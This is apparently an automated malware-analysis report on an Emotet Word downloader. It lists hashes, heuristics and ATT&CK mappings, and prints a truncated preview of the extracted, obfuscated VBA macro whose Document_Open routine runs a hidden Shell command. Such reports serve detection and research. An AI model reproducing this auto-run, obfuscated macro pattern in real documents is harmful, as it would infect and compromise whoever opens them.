Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 39718f30412d119b…

MALICIOUS

Office (OLE)

160.8 KB Created: 2018-07-20 13:06:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 40e493a77fcaea5fef321764a81ebb96 SHA-1: a139b839cc54dc9d2a12573567afbd0c9f799dfe SHA-256: 39718f30412d119bbfd9de4c6bbcace4bee4da6157736826f393b138a3649a3e
182 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for Emotet. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. ClamAV detection further confirms the Emotet family and its downloader functionality. The primary function of the macro appears to be downloading and executing a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.Emotet-7349881-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7349881-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31632 bytes
SHA-256: 9cf87d2d7f9824de2824ae823954bacbcc5a0fc73ad6a71c4148096d80307cf4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DnwKEMsntMlr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function rJVkMKFYYVzw()
On Error Resume Next
   ZZjZF = (88403 - FQDYa / OkhfjP + MIiEdo - 23975 * GoVVni - akJGH / uaKnU)
   qjbon = (16182 - okzOwQ / MwvRZ + PQiKlO - 64694 * azQiMB - zqNMvz / ZXWQt)
   wwcki = (93178 - ftTCWd / jTLnkJ + idtMJa - 55204 * oJojLW - vjalvW / imUzC)
   pqqjiK = (98013 - rcwRh / wbiDmK + JwWdH - 62111 * hXQIh - BQwor / jkjIMo)
End Function
Private Function ZkJwEwSWJEPk()
On Error Resume Next
   aqUKmN = (33089 - kDCtVP / DswGLz + WajtX - 25436 * fpmnj - UmGIYk / rwmvEt)
   ujXLw = (28198 - wbIKIt / MPdYPY + jOsbt - 22622 * dLKHQv - BRbBop / IBmwEZ)
   mkVpT = (29290 - SQQkWl / vFnFM + BciwRz - 33680 * ZHaAvz - nTwVO / FLSjSB)
   DFSwwY = (38609 - atqDYE / QGlid + mpibK - 22377 * onodI - cjTpn / zrfPi)
End Function
Private Function HjzjYRw()
On Error Resume Next
   acqnwt = (52230 - SBnALn / uOTpAq + NsWpku - 51892 * pjoRSP - dDrip / jpWYSj)
   sflSkO = (12275 - vOhJm / HKcPED + NJTRL - 40399 * jjbFGD - aijmk / fjUiDA)
   awtDqO = (96177 - JJjCf / DLuUi + lPzRAk - 63021 * zQRLb - PmvObA / MuiCn)
   kmSGrn = (65361 - OZilDJ / rsfiw + iRWsJ - 57680 * EGPCWz - AiiMM / wlknRD)
   iCAQc = (95715 - TYiPHA / clOfzh + MVPQzb - 38592 * QdTlG - mOtlQ / EBcXL)
   aLBwTk = (59269 - RAZtN / LmcCji + jsdUEc - 58000 * pOKNOG - aGnTh / MjMrl)
   jwwLl = (17222 - WjlzfW / KIBvVt + qXUtj - 41683 * KtrFQC - KSRicX / GctGtm)
End Function
Private Function ZEQoNUiXZVzFFJ()
On Error Resume Next
   wXvNZ = (58021 - wClLX / jQsvi + ObfbRa - 46970 * NrGtkc - RZVDvt / lpPju)
   SKAXfN = (98075 - JMzHs / XbKrk + QWIOMI - 2652 * wRQUX - hsAsRM / CiBVb)
   XGzZDu = (29072 - GCIzc / sGcrkz + oiidUN - 58399 * ovRKuo - jwFjqm / pDzVtz)
   lmGqs = (33732 - SvdmAz / Evrau + SrWsjp - 18172 * pLkjYI - FADsLz / dsQuts)
End Function
Private Sub Document_open()
On Error Resume Next
   KjNfj = (72180 - aRVhj / LMPDvd + ujatwj - 80910 * qSlRt - UDNhaz / kQKTX)
   IiOnb = (48577 - wpPDMX / RGtEC + HiRtGs - 84183 * jaMHjb - ifAGT / jrwHp)
   XcvLLC = (24921 - FUjwvo / zjQpwr + BWVji - 18089 * QZbwu - NXZFr / szsAd)
   tikUv = (70107 - MZcIa / qokuLp + KLswH - 51401 * YoQzZu - viQPi / LMflvj)
   jaXUkH = (97047 - fAlipQ / kPGCRC + BLuHzX - 24032 * MBjdak - ENDKb / dWiKZ)
   olkwk = (40539 - iplNUz / YJfij + vKTfdz - 94707 * jHCXjS - CfwpYF / oiBNt)
Shell "" + RaDhoEO + qfTDIpuFwB + CVar("c") + bKKzYwLJWr + IAqWtJpm + TcwIH + wFQEv + rDzBws + rQToBWchWtz + KvQGjPH + tShSSFw + UwWhu + ioriJtMIZur + VGzCuzj + IRvWtasAqoh + wWUuz + IDCVOwi + jWznnqUH + pvZuHADEcD + sCddOR + cfwfnGit + PnJrQfLo + GMDPZiSFVl + CijqofQ, 0
   XmKlC = (8455 - GUXOsR / sqpRcX + aBwHw - 44447 * PMSZC - CbkiqU / pVUukK)
   htHZiV = (78533 - PFlIKB / UQsFka + DBELGv - 22548 * NvTsZ - vqrId / Fflrsh)
End Sub
Private Function upFnPZXhztaHsV()
On Error Resume Next
   BhazsU = (33392 - FCzPKE / rFGXO + hCzsQ - 56031 * tzfST - ifWHia / nSHAFU)
   wSJQkv = (39602 - pZoLiS / qFLvN + bBiLiz - 10435 * kMwFX - tRXJwU / wqlMDi)
   KpZwY = (17592 - KjZDi / SjIbkO + TzJGjb - 90230 * NRjEL - cFJjbi / ANvLR)
   tGwHWL = (38299 - dFcrHk / WfviV + Vzcwml - 30700 * wmvijz - jLzUPA / CCjUCL)
   VatRzw = (2479 - jTQwO / zSqzXF + bzrJfY - 36598 * OvOPKE - XRGPaP / qTiUV)
End Function
Private Function BaFVzwlOiDhRrI()
On Error Resume Next
   IOrAz = (21712 - oMjMz / rTQhi + boKUQ - 87480 * pDBPR - jPvzq / FSQKrL)
   hWzMU = (16124 - jakDoU / krQzcG + OfQsXH - 56799 * kJwYN - bQDklw / vDqLdp)
   pbnQGH = (51685 - vjFjC / oHkUK + UhsGpV - 7871 * nKwNQE - icWouA / aOrELH)
   WjUYbA = (77949 - MAOGo / jGCtf + zowZrd - 51917 * PFMAq - WifqVu / QGKVdv)
   oOiIvS = (82588 - UzBGSp / GPGGJb + NqIjS - 55116 * jtRzPw - RQSKkk / mksdFc)
   laMwu = (93217 - muhwZi / GoNPEh + aMXkL - 68488 * lDNhsE - izDvno / lJWUuf)
End Function
Private Function lWVhqN
... (truncated)

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